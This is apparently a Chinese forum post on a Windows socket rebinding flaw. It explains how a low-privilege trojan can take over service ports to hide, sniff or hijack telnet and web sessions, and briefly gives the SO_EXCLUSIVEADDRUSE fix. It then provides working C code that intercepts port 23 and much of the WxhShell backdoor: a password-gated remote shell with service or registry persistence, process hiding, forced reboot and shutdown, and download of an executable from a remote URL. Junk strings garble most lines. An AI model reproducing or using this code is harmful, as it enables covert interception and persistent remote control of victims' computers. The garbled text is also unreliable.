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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: wWTQ6~Y%d  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !!WJn}  
ra:GzkIw  
  saddr.sin_family = AF_INET; ;g9%&  
E?Cj/o  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); J)*8|E9P  
:_Fxy5}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Hd 0Xx}3&  
Vv7PCaq  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Xhse~=qA  
VjB*{,  
  这意味着什么?意味着可以进行如下的攻击: #h N.=~  
.!yq@Q|=u  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 | ]# +v@  
C_G1P)k  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) IY)5.E _  
SKR;wu  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 G#0,CLGN^  
#ZlM?Q  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ;& ~929  
!BUi)mo  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Rg&19 }BU  
-NzTqLBn  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 gI{ =0  
<HF-2?`  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 bMmra.x4L  
9|=nV|R'6  
  #include &z>q#'X;.  
  #include EwQae(PpA  
  #include Pq?*C;D  
  #include    v9rVpYc"  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Q#pnj thM  
  int main() h<% U["   
  { dIJGB==  
  WORD wVersionRequested; Gw{+xz KJ  
  DWORD ret; C3}Aq8$6  
  WSADATA wsaData; Dtt-|_EMS  
  BOOL val; X *O9JGh  
  SOCKADDR_IN saddr; N09KVz2Q  
  SOCKADDR_IN scaddr; =dGKF`tR  
  int err; -:S IS`0s  
  SOCKET s; El (/em  
  SOCKET sc; PN &|8_  
  int caddsize; azX`oU,l  
  HANDLE mt; )%VCzye*{  
  DWORD tid;   0T))>.iu#  
  wVersionRequested = MAKEWORD( 2, 2 ); {eR9 ;2!  
  err = WSAStartup( wVersionRequested, &wsaData ); {|6z+vR  
  if ( err != 0 ) { .C= I^  
  printf("error!WSAStartup failed!\n"); e$|VG* d  
  return -1; o&$hYy"<.L  
  } c'0 5{C  
  saddr.sin_family = AF_INET; 2~FPw{]j  
   VR4%v9[1  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 y|sma;D  
{mSJUK?TKl  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); e4[) WNR  
  saddr.sin_port = htons(23); dy:d=Z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _Adsq8sFW  
  { K-(;D4/sQE  
  printf("error!socket failed!\n"); d>!p=O`>{q  
  return -1; {/ &B!zvl  
  } 5v9uHxy  
  val = TRUE; S}7>RHe  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 RmOyGSO  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 4seciz0?  
  { Rp/-Pv   
  printf("error!setsockopt failed!\n"); -H\,2FO  
  return -1; O2v.  
  } FH*RU1Z  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]XUSqai  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 hYb9`0G"2  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 C`4gsqD;Z  
.pvxh|V  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 10MU-h.)  
  { _tj&Psp  
  ret=GetLastError(); gs`> C(  
  printf("error!bind failed!\n"); [5Y<7DS  
  return -1; 0JXqhc9'  
  } $Ha%Gr  
  listen(s,2); /s[DI;M$o  
  while(1) 'ere!:GJD  
  { O&'/J8  
  caddsize = sizeof(scaddr); >IY,be6>P  
  //接受连接请求 yr{B5z,  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); XDYosC:  
  if(sc!=INVALID_SOCKET) |+NuYz?  
  { V`k8j-*s  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); r7I B{}>-  
  if(mt==NULL) m:{tgcE  
  { &71e5<(dG  
  printf("Thread Creat Failed!\n"); (F8AL6  
  break; {oWsh)[x2  
  } 6[?}6gQ  
  } sX:lE^)-z  
  CloseHandle(mt); YKs4{?vw  
  } 1V%'.l9  
  closesocket(s); sKfXg`0  
  WSACleanup(); wFL3& *  
  return 0; 84M3c  
  }   70Ka!  
  DWORD WINAPI ClientThread(LPVOID lpParam) 3ATjsOL  
  { `|<+  ?  
  SOCKET ss = (SOCKET)lpParam; >&Fa(o;*  
  SOCKET sc; NHiq^ojk  
  unsigned char buf[4096]; m mw-a0  
  SOCKADDR_IN saddr; 6c<ezEJ  
  long num; Q6^x8  
  DWORD val; 6fwY$K\X  
  DWORD ret; T=\!2gt  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ~HDdO3  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Np)aS[9W  
  saddr.sin_family = AF_INET; dWR1cvB(wY  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); HomN/wKh  
  saddr.sin_port = htons(23); >. LKct*5K  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) l`gTU?<xd  
  { ]}LGbv"`A  
  printf("error!socket failed!\n"); CBHc A'L  
  return -1; 2P5_zND  
  } vv/J 5#^,\  
  val = 100; K t `  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4P kfUMX  
  { OD+5q(!"a  
  ret = GetLastError(); P(h5=0`*PR  
  return -1; 2p:r`THvS5  
  } N5 n>  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /#t&~E_|  
  { 0*7*RX  
  ret = GetLastError(); 8A{6j  
  return -1; 7X'y>\^w^>  
  } .ECHxDp  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) !R:y'Y%j  
  { 2u:4$x8  
  printf("error!socket connect failed!\n"); -<W2PY<  
  closesocket(sc); m0( E kK  
  closesocket(ss); #Lka+l;L7  
  return -1; dr })-R  
  } o&-L0]i|  
  while(1) 40K2uT{cq  
  { <NB41/  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 xmH-!Da  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 /EFq#+6  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 @@} `hii  
  num = recv(ss,buf,4096,0); zvf3b!}  
  if(num>0) [7W(NeMk  
  send(sc,buf,num,0); $a.u05  
  else if(num==0) _CdROo6I  
  break; U9ZbVjqv@  
  num = recv(sc,buf,4096,0); a8s4T$  
  if(num>0) =!<G!^  
  send(ss,buf,num,0);  Q_4Zb  
  else if(num==0) 9]$`)wZ  
  break; Y}.Ystem  
  } PXEKV0y  
  closesocket(ss); V5 MO}  
  closesocket(sc); 6Rz[?-mkLO  
  return 0 ; $qm~c[x%  
  } c8ZCs?   
8H $#+^lW  
DO^y;y>  
========================================================== >q(6,Mmb  
xm^95}80yh  
下边附上一个代码,,WXhSHELL h%1Y6$  
eXzXd*$S  
========================================================== '_o@V O  
@"8R3BN  
#include "stdafx.h" ;<-7*}Dj  
rn" pKUd  
#include <stdio.h> 0.DQO;  
#include <string.h> K]"Kf{bx  
#include <windows.h> Tf-CEHWD  
#include <winsock2.h> <abKiXA"  
#include <winsvc.h> -p8e  
#include <urlmon.h> "!q?P" @C  
Y';>O`  
#pragma comment (lib, "Ws2_32.lib") wkikD  
#pragma comment (lib, "urlmon.lib") nW5K[/1D  
kwar}:`  
#define MAX_USER   100 // 最大客户端连接数 `&g:d E(j  
#define BUF_SOCK   200 // sock buffer 3{3/: 7  
#define KEY_BUFF   255 // 输入 buffer ` clB43 i  
.~`Y)PON  
#define REBOOT     0   // 重启 ! F7:i  
#define SHUTDOWN   1   // 关机 )N)ljA3]  
=kFuJ x)f  
#define DEF_PORT   5000 // 监听端口 _T]>/}}p  
Q]\j>>  
#define REG_LEN     16   // 注册表键长度 ~`Sle xK|}  
#define SVC_LEN     80   // NT服务名长度 [ud|dwP"  
.,mPdVof  
// 从dll定义API 4<}A]BQVkJ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ']?=[`#NL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); kaFnw(xa  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8"M<{72U]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); CEqZ:c  
r~oSP^e'  
// wxhshell配置信息 (~#G'Hd  
struct WSCFG { }1m_o@{3P  
  int ws_port;         // 监听端口 7a<_BJXx  
  char ws_passstr[REG_LEN]; // 口令 xNgt[fLpS  
  int ws_autoins;       // 安装标记, 1=yes 0=no n`<U"$*  
  char ws_regname[REG_LEN]; // 注册表键名 (,LL[&;:  
  char ws_svcname[REG_LEN]; // 服务名 Y:pRcO.4g  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :_H>SR:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Jsn <,4DO8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~zyQ('  
int ws_downexe;       // 下载执行标记, 1=yes 0=no RWikJ   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `d*b]2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .B$h2#i1  
a:u}d7T3e  
}; v@_in(dk  
h7?.2Q&S  
// default Wxhshell configuration H8i+'5x,?  
struct WSCFG wscfg={DEF_PORT, ;3 UvkN  
    "xuhuanlingzhe", 3;y_mg  
    1, :qnokrGzB  
    "Wxhshell", 1nB@zBQu -  
    "Wxhshell", sqG`"O4W  
            "WxhShell Service", J@` 8(\(  
    "Wrsky Windows CmdShell Service", DHzkRCM  
    "Please Input Your Password: ", 7;xKy'B\  
  1, p&5S|![\  
  "http://www.wrsky.com/wxhshell.exe", d_T<5Hin  
  "Wxhshell.exe" f)^t')  
    }; "Ot{^ _e  
m!Af LSlwm  
// 消息定义模块 /*P7<5n0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -f.R#J$2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .Cr1,Po  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &<h?''nCy  
char *msg_ws_ext="\n\rExit."; R 3G@ G  
char *msg_ws_end="\n\rQuit."; iQ{z6Qa  
char *msg_ws_boot="\n\rReboot..."; GCH[lb>IJv  
char *msg_ws_poff="\n\rShutdown..."; UUm |@  
char *msg_ws_down="\n\rSave to "; XU-*[\K  
]) n0MF)p  
char *msg_ws_err="\n\rErr!"; g7Z9F[d  
char *msg_ws_ok="\n\rOK!"; DMMLzS0A  
PP-kz;|  
char ExeFile[MAX_PATH]; xt))]aH  
int nUser = 0; kY!C_kFcn  
HANDLE handles[MAX_USER]; q{@P+2<wF  
int OsIsNt; XnA6/^  
8.2`~'V  
SERVICE_STATUS       serviceStatus; ;+/NjC1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1;`Fe":;vC  
CJA+v-  
// 函数声明 KZ3B~#oQ  
int Install(void); ?9S+Cj`  
int Uninstall(void); `[@VxGy_  
int DownloadFile(char *sURL, SOCKET wsh); yFO)<GLk  
int Boot(int flag); :gaETr  
void HideProc(void); o^PuhVu  
int GetOsVer(void); w, 7Cr  
int Wxhshell(SOCKET wsl); *(nJX.7  
void TalkWithClient(void *cs); 5H!%0LrJg=  
int CmdShell(SOCKET sock); WRM$DA  
int StartFromService(void); \n(ROf^'  
int StartWxhshell(LPSTR lpCmdLine); k_O-5{  
fz8h]PZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H;wR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [` 9^QEj  
+!xu{2!  
// 数据结构和表定义 mt^`1ekoY  
SERVICE_TABLE_ENTRY DispatchTable[] = - 3]|[  
{ [Q:f-<nH  
{wscfg.ws_svcname, NTServiceMain}, D O%Pwfkd  
{NULL, NULL} ol#yjrv  
}; ^Po,(iIn  
K=o:V&  
// 自我安装 m0C{SBn-M  
int Install(void) NQ{-&#@/v  
{ %yKKUZ~  
  char svExeFile[MAX_PATH]; F-tFet  
  HKEY key; 1x;@~yU  
  strcpy(svExeFile,ExeFile); KcnjF^k  
9R>~~~{-Go  
// 如果是win9x系统,修改注册表设为自启动 6Wb!J>93  
if(!OsIsNt) { -U:2H7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F;W'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :ovt?q8">  
  RegCloseKey(key); FSe5k5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u ]SZ{[ e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fOLnK y#  
  RegCloseKey(key); > '.[G:b  
  return 0; GqMB^Ad  
    } ;da4\bppt  
  } }EP|Mb  
} %2,/jhHL  
else { $i -zMa  
N:7.:Yw  
// 如果是NT以上系统,安装为系统服务 ^} tuP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xlk5Gob*  
if (schSCManager!=0) #:Xa'D+  
{ Z]7tjRvq)  
  SC_HANDLE schService = CreateService ] .`_, IO  
  ( k3#wLJ  
  schSCManager, ZLuPz#  
  wscfg.ws_svcname, +2El  
  wscfg.ws_svcdisp, yE<,Z%J[n  
  SERVICE_ALL_ACCESS, oLd:3,p}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , X= SG  
  SERVICE_AUTO_START, *iYMX[$  
  SERVICE_ERROR_NORMAL, ~Z7)x7 z  
  svExeFile, 1S&0  
  NULL, \UhGGg%  
  NULL, X4Lsvvz%@  
  NULL, yj'Cy8  
  NULL, z41D^}b  
  NULL AT-0}9z{  
  ); lqauk)(A0  
  if (schService!=0) 8'n#O>V@  
  { HMhLTl{;  
  CloseServiceHandle(schService); !@A|L#*  
  CloseServiceHandle(schSCManager); ps "9;4P  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Vl-D<M+i h  
  strcat(svExeFile,wscfg.ws_svcname); YT][\x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +<z7ds{Z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2nJYS2mT7  
  RegCloseKey(key); w gmWo8  
  return 0; T:Bzz)2/  
    } KoFv0~8Q  
  } ? 1GJa]G  
  CloseServiceHandle(schSCManager); TX&[;jsj  
} ~6] )*y  
} MV9r5|3-  
Kjv2J;Xuh  
return 1; [@x  
} t&3 8@p  
$4sA nu]  
// 自我卸载 80dSQ"y  
int Uninstall(void) tD865gi  
{ N=.}h\{0  
  HKEY key; >}mNi:6xq  
dWMccn;-m  
if(!OsIsNt) { 3Nc'3NPQ'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e5QOB/e&  
  RegDeleteValue(key,wscfg.ws_regname); ]Kof sU_{  
  RegCloseKey(key); p1C_`f N,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q:kwQg:~  
  RegDeleteValue(key,wscfg.ws_regname); g^qz&;R]  
  RegCloseKey(key); .iN-4"_j1  
  return 0; vs* >onCf  
  } *13g <#$  
} u4@, *tT  
} 2m|Eoc&M_  
else { hjw4Xzju  
t2~"B&7My  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /nwxuy  
if (schSCManager!=0) uwmoM>I W^  
{ 6Q?BwD+>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ' l|41wxk  
  if (schService!=0) dvC0 <*V  
  { 2-QuT"Gkd  
  if(DeleteService(schService)!=0) { {_rZRyr  
  CloseServiceHandle(schService);  b$PT_!d  
  CloseServiceHandle(schSCManager); NJ.rv  
  return 0; ,"x23=]  
  } Pv^(Q ]  
  CloseServiceHandle(schService); <yis  
  } 4 `j,&=  
  CloseServiceHandle(schSCManager); 6\%r6_.d  
} B>ms`|q=l  
} xV"6d{+  
?f(pQy@V  
return 1; ~JIywzcf8  
} 9yO{JgKA  
qn5y D!1  
// 从指定url下载文件 @?'t@P:4  
int DownloadFile(char *sURL, SOCKET wsh) ~JAH-R  
{ #8P#^v]H  
  HRESULT hr; :y4)qF  
char seps[]= "/"; <)r,CiS  
char *token; 0*/mc96  
char *file; (xI)"{   
char myURL[MAX_PATH]; Tnzco  
char myFILE[MAX_PATH]; z4 GN8:~x  
,R7=]~<io"  
strcpy(myURL,sURL); n ;Ql=4  
  token=strtok(myURL,seps); SD)5?{6<  
  while(token!=NULL) aS c#&{  
  { A@9U;8k  
    file=token; 6 ,7/8  
  token=strtok(NULL,seps); ?j &V:kF  
  } %i;r]z-  
{JCSR2BB  
GetCurrentDirectory(MAX_PATH,myFILE); v!WU |=u  
strcat(myFILE, "\\"); QC$=Fs5+  
strcat(myFILE, file); QCZ,K" y  
  send(wsh,myFILE,strlen(myFILE),0); U>e3_td3,  
send(wsh,"...",3,0); 6n2Vx1b  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _ C7abw-  
  if(hr==S_OK) n's2/9x  
return 0; w`H.ey  
else [Q2S3szbt6  
return 1; DLwC5Iir  
o=mq$Z:}  
} hNu>s  
dSA [3V  
// 系统电源模块 .WN;TjEg!  
int Boot(int flag) I!C(K^  
{ WLg6-@kxXs  
  HANDLE hToken; -o=P85 V  
  TOKEN_PRIVILEGES tkp; eXskwV+7  
clPZd  
  if(OsIsNt) { ]be 0I)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @lb=-oR!~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pgLzFY['  
    tkp.PrivilegeCount = 1; >S?C {_g  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~frPV8^DP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `dG.L  
if(flag==REBOOT) { UUdu;3E=5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )A>U<n$h  
  return 0; Zi[{\7a  
} wiK@o$S-  
else { lOowMlf@2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) W TXD4}  
  return 0; ZNL;8sI?>  
} *@$($<pY&  
  } #z-iL!?  
  else { V7K tbL#  
if(flag==REBOOT) { ]yj4~_&O  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #T gz,e9  
  return 0; )7Hon  
} "NX m\`8  
else { [9YlLL@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) E :'  
  return 0; dy8In%  
} NIWI6qCw  
} ,J`lr U0  
 Rsa\V6N>  
return 1; *_"c! eW  
} Pp JE|[]  
$BR=IYby  
// win9x进程隐藏模块 %%-U .   
void HideProc(void) R%]9y]HQ  
{ 7YQK@lS  
T}b( M*E  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); OI]K_ m3  
  if ( hKernel != NULL ) LS2ek*FJO  
  { @ ^XkU(m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R&x7Iq:=D  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]P}K3tN%]  
    FreeLibrary(hKernel); &bS"N)je  
  } @gu77^='  
}jyS\drJ  
return; xsY>{/C  
} dEAAm=K,<  
mvL0F%\.\  
// 获取操作系统版本 +s*l#'Q  
int GetOsVer(void) `DWi4y7  
{ CL<KBmW7  
  OSVERSIONINFO winfo; >2/wzsW  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); QBPvGnb  
  GetVersionEx(&winfo); fn?6%q,!ls  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) CwEWW\Bu  
  return 1; w ;s ]n  
  else +qSr=Y:+  
  return 0; #0YzPMV  
} Ck/_UY|  
D<D k1  
// 客户端句柄模块 m|e*Jc  
int Wxhshell(SOCKET wsl) G\,A> mT/P  
{ uz#eO|z@o  
  SOCKET wsh; ;*37ta  
  struct sockaddr_in client; q_T?G e  
  DWORD myID; {Y@-*pL]  
hI>rtaY_  
  while(nUser<MAX_USER) B;D:9K  
{ . ;ea]_Z  
  int nSize=sizeof(client); _?(hWC"0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S'%cf7Z  
  if(wsh==INVALID_SOCKET) return 1; VATXsD  
u{{xnyl?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #iqhm,u7D  
if(handles[nUser]==0) yOn2}Z  
  closesocket(wsh); "ZJ1`R=Mj  
else J:mu%N`  
  nUser++; (fk, 80  
  } 2 Zjb/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,T21z}r  
!ovZ>,1  
  return 0; cJ(zidf_$  
} meM.?kk(  
 /nD0hb  
// 关闭 socket [;V1y`/K1  
void CloseIt(SOCKET wsh) O.up%' %,  
{ Zm8 u:  
closesocket(wsh); +'&_V011<  
nUser--; I}G}+0geV  
ExitThread(0); /YugQ.>| l  
} @<w9fzi  
zhvk%Y:  
// 客户端请求句柄 s=%+o& B  
void TalkWithClient(void *cs) XdIVMXLL\  
{ kO`3ENN  
5dNf$a0E  
  SOCKET wsh=(SOCKET)cs; 1KIq$lG{ E  
  char pwd[SVC_LEN]; o YI=p3l  
  char cmd[KEY_BUFF]; zs]/Y2  
char chr[1]; LG@c)H74  
int i,j; L};;o+5uJD  
xMfv&q=k@  
  while (nUser < MAX_USER) { O]%m{afM  
a_iQlsU  
if(wscfg.ws_passstr) { xP/1@6]_Je  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vhquHy.qi#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q"K>ML>0  
  //ZeroMemory(pwd,KEY_BUFF); A7,$y!D  
      i=0; 2p;}wYt  
  while(i<SVC_LEN) { n.qxxzEN  
}vxH)U6$q  
  // 设置超时 (h>X:!  
  fd_set FdRead; sr($Bw  
  struct timeval TimeOut; \`%Y-!H+v  
  FD_ZERO(&FdRead); QVRokI`BF  
  FD_SET(wsh,&FdRead); d @kLLDP  
  TimeOut.tv_sec=8; LX?r=_\  
  TimeOut.tv_usec=0; 0*:hm%g  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }v$=mLy  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); eN?P) ,  
$E_vCB _  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kcz#8K]~  
  pwd=chr[0]; i6ypx  
  if(chr[0]==0xd || chr[0]==0xa) { ZYD88kQ  
  pwd=0; |KrG3-i3X  
  break; .8PO7#  
  } 't%%hw-m}  
  i++; %WT:RT_  
    } q fH~hg  
0|>  
  // 如果是非法用户,关闭 socket |e[0Qo@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xjbyI_D  
} \NQ)Po@z  
u+gXBU  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2"Uk}Yz|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v0MOX>`s  
%FI6\ |`M  
while(1) { 1 l*(8!_  
q {+poV X  
  ZeroMemory(cmd,KEY_BUFF); Yg,WdVI&@  
56 kgL;$h  
      // 自动支持客户端 telnet标准   y=qo-v59'  
  j=0; n]fbV/ x  
  while(j<KEY_BUFF) { ]GR q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DUliU8B}\  
  cmd[j]=chr[0]; -r'seb5  
  if(chr[0]==0xa || chr[0]==0xd) { Di"9 M(6vf  
  cmd[j]=0; +2fJ  
  break; @[kM1:G-F{  
  } NlEWm8u   
  j++; _5S$mc8K0  
    } JTB~nd>  
+e4<z%1  
  // 下载文件 CU`Oc>;*T  
  if(strstr(cmd,"http://")) { u`Qcw|R+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Vh2/Ls5  
  if(DownloadFile(cmd,wsh)) yz$1qEII`q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); x)wt.T?eL  
  else ~)8i5p;P/k  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |Ge/|;.v`  
  } 3a)Q:#okD  
  else { /FV6lR!0^  
g2>u]3&W  
    switch(cmd[0]) { wJR i;fvi  
  H1j6.i}q  
  // 帮助 vG_v89t!ex  
  case '?': { 0t[mhmSU,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  2:/MN2  
    break; z==}~|5  
  } yxUVM`.~  
  // 安装 q[+: t   
  case 'i': { K}/`YDu  
    if(Install()) WJ8vHPSM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;xtb2c8HT  
    else BCZnF /Zo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UVmyOC[Y{  
    break; `"mK\M  
    } SVWSO  
  // 卸载 L=w Fo^N  
  case 'r': { G/3lX^Z>  
    if(Uninstall()) =}GyI_br;8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ];~[Olc  
    else (0m$W<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2LH;d`H[0  
    break; d*(Bs $De  
    } i{[H3p8  
  // 显示 wxhshell 所在路径 ',s7h"  
  case 'p': { P(nHXVSUE  
    char svExeFile[MAX_PATH]; PjZvLK@a9)  
    strcpy(svExeFile,"\n\r"); [Q_| 6Di  
      strcat(svExeFile,ExeFile); Ul0<Zxv  
        send(wsh,svExeFile,strlen(svExeFile),0); UZ3Aq12U}a  
    break; ;U3Vows  
    } *"sDaN0@R  
  // 重启 ,vw`YKg  
  case 'b': { gL"Q.ybA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #&c;RPac!6  
    if(Boot(REBOOT)) J7^T!7V.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xQ 3u  
    else { t\d;}@bl  
    closesocket(wsh); YgOgYo{E!  
    ExitThread(0); L=!kDU  
    } QGG(I7{-  
    break; 3CuoB b8  
    } @wJa33QT  
  // 关机 #|h8u`  
  case 'd': { pdqa)>$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); aMg f6veM  
